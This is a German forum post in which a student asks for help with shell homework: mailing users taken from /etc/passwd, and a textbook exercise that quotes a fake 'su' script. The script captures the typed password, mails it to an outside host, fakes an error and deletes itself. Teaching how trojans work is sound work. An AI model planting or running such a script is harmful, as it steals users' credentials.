Benutzern eine Mail aus /etc/passwd senden

slevin

Grünschnabel
Hallo,

ich hab über das Wochende ein paar Aufgaben bezüglich der Linux-Shell bekommen.

Ich scheitere jedoch an 2 von denen, ich hoffe jemand hat einen Ansatz oder sogar einen Lösungsvorschlag also folgendes...

(4) Allen Benutzern laut /etc/passwd, deren Benutzernummer größer als 99 ist, eine mail schicken. (cut, grep usw.)

(5) Sie haben Ihren Pfad auf “.:/bin/usr/bin“ eingestellt . Ihr Home-Verzeichnis ist für andere be-schreibbar. Ihr unbeliebter Mitarbeiter Hugo weiß, dass Sie regelmäßig den Befehl "su" verwenden, um als Super-User arbeiten zu können. Hugo kopiert die folgenden Befehle in die ausführbare Datei "su" in Ihrem HOME-Verzeichnis.

stty -echo
echo -n "Password:"
read X
echo " "
stty echo
echo $X $* | mail outside!hugo & # outside!..fremder Rechner
sleep 3
echo su: ungültiges Kennwort
rm su

Probieren Sie dieses Beispiel auf Ihrem Laptop.
Wie nennt man so etwas hinterlistiges?

Ok der Code oben ist ein Ansatz... ich komme aber nicht voran...


mfg slevin
 
Zurück